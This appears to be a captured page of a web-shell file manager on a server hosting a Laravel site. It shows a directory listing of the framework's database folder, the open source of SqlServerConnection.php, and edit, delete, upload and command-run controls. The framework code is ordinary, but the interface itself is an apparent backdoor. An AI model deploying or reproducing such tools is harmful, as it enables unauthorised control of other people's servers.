/
var
/
www
/
cobraambalaj
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Database
/
/var/www/cobraambalaj/vendor/laravel/framework/src/Illuminate/Database
mkdir
upload
Name
Size
Mode
Actions
Capsule/
-
0755
rm
Concerns/
-
0755
rm
Connectors/
-
0755
rm
Console/
-
0755
rm
DBAL/
-
0755
rm
Eloquent/
-
0755
rm
Events/
-
0755
rm
Migrations/
-
0755
rm
PDO/
-
0755
rm
Query/
-
0755
rm
Schema/
-
0755
rm
composer.json
1662
0644
edit
dl
rm
ConfigurationUrlParser.php
192
0644
edit
dl
rm
Connection.php
33200
0755
edit
dl
rm
ConnectionInterface.php
3890
0755
edit
dl
rm
ConnectionResolver.php
1913
0755
edit
dl
rm
ConnectionResolverInterface.php
575
0755
edit
dl
rm
DatabaseManager.php
10355
0755
edit
dl
rm
DatabaseServiceProvider.php
3671
0755
edit
dl
rm
DatabaseTransactionRecord.php
1334
0755
edit
dl
rm
DatabaseTransactionsManager.php
2177
0755
edit
dl
rm
DetectsConcurrencyErrors.php
1085
0644
edit
dl
rm
DetectsLostConnections.php
2270
0644
edit
dl
rm
Grammar.php
5305
0755
edit
dl
rm
LICENSE.md
1075
0644
edit
dl
rm
MigrationServiceProvider.php
6200
0755
edit
dl
rm
MultipleRecordsFoundException.php
134
0755
edit
dl
rm
MySqlConnection.php
2582
0755
edit
dl
rm
PostgresConnection.php
3082
0755
edit
dl
rm
QueryException.php
1631
0644
edit
dl
rm
README.md
2224
0755
edit
dl
rm
RecordsNotFoundException.php
129
0755
edit
dl
rm
Seeder.php
3583
0755
edit
dl
rm
SQLiteConnection.php
3349
0755
edit
dl
rm
SqlServerConnection.php
3646
0755
edit
dl
rm
Edit:
/var/www/cobraambalaj/vendor/laravel/framework/src/Illuminate/Database/SqlServerConnection.php
(3646B)
<?php namespace Illuminate\Database; use Closure; use Doctrine\DBAL\Driver\PDOSqlsrv\Driver as DoctrineDriver; use Doctrine\DBAL\Version; use Illuminate\Database\PDO\SqlServerDriver; use Illuminate\Database\Query\Grammars\SqlServerGrammar as QueryGrammar; use Illuminate\Database\Query\Processors\SqlServerProcessor; use Illuminate\Database\Schema\Grammars\SqlServerGrammar as SchemaGrammar; use Illuminate\Database\Schema\SqlServerBuilder; use Illuminate\Filesystem\Filesystem; use RuntimeException; use Throwable; class SqlServerConnection extends Connection { /** * Execute a Closure within a transaction. * * @param \Closure $callback * @param int $attempts * @return mixed * * @throws \Throwable */ public function transaction(Closure $callback, $attempts = 1) { for ($a = 1; $a <= $attempts; $a++) { if ($this->getDriverName() === 'sqlsrv') { return parent::transaction($callback); } $this->getPdo()->exec('BEGIN TRAN'); // We'll simply execute the given callback within a try / catch block // and if we catch any exception we can rollback the transaction // so that none of the changes are persisted to the database. try { $result = $callback($this); $this->getPdo()->exec('COMMIT TRAN'); } // If we catch an exception, we will rollback so nothing gets messed // up in the database. Then we'll re-throw the exception so it can // be handled how the developer sees fit for their applications. catch (Throwable $e) { $this->getPdo()->exec('ROLLBACK TRAN'); throw $e; } return $result; } } /** * Get the default query grammar instance. * * @return \Illuminate\Database\Query\Grammars\SqlServerGrammar */ protected function getDefaultQueryGrammar() { return $this->withTablePrefix(new QueryGrammar); } /** * Get a schema builder instance for the connection. * * @return \Illuminate\Database\Schema\SqlServerBuilder */ public function getSchemaBuilder() { if (is_null($this->schemaGrammar)) { $this->useDefaultSchemaGrammar(); } return new SqlServerBuilder($this); } /** * Get the default schema grammar instance. * * @return \Illuminate\Database\Schema\Grammars\SqlServerGrammar */ protected function getDefaultSchemaGrammar() { return $this->withTablePrefix(new SchemaGrammar); } /** * Get the schema state for the connection. * * @param \Illuminate\Filesystem\Filesystem|null $files * @param callable|null $processFactory * * @throws \RuntimeException */ public function getSchemaState(Filesystem $files = null, callable $processFactory = null) { throw new RuntimeException('Schema dumping is not supported when using SQL Server.'); } /** * Get the default post processor instance. * * @return \Illuminate\Database\Query\Processors\SqlServerProcessor */ protected function getDefaultPostProcessor() { return new SqlServerProcessor; } /** * Get the Doctrine DBAL driver. * * @return \Doctrine\DBAL\Driver\PDOSqlsrv\Driver|\Illuminate\Database\PDO\SqlServerDriver */ protected function getDoctrineDriver() { return class_exists(Version::class) ? new DoctrineDriver : new SqlServerDriver; } }
Save
cmd:
run